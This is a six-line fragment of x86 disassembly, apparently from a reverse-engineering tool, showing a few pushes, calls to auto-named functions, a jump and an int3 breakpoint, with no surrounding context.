push dword [esp + 0x74]
call fcn.004079e0
jmp 0x40215f
push 0
call fcn.00417d89
int3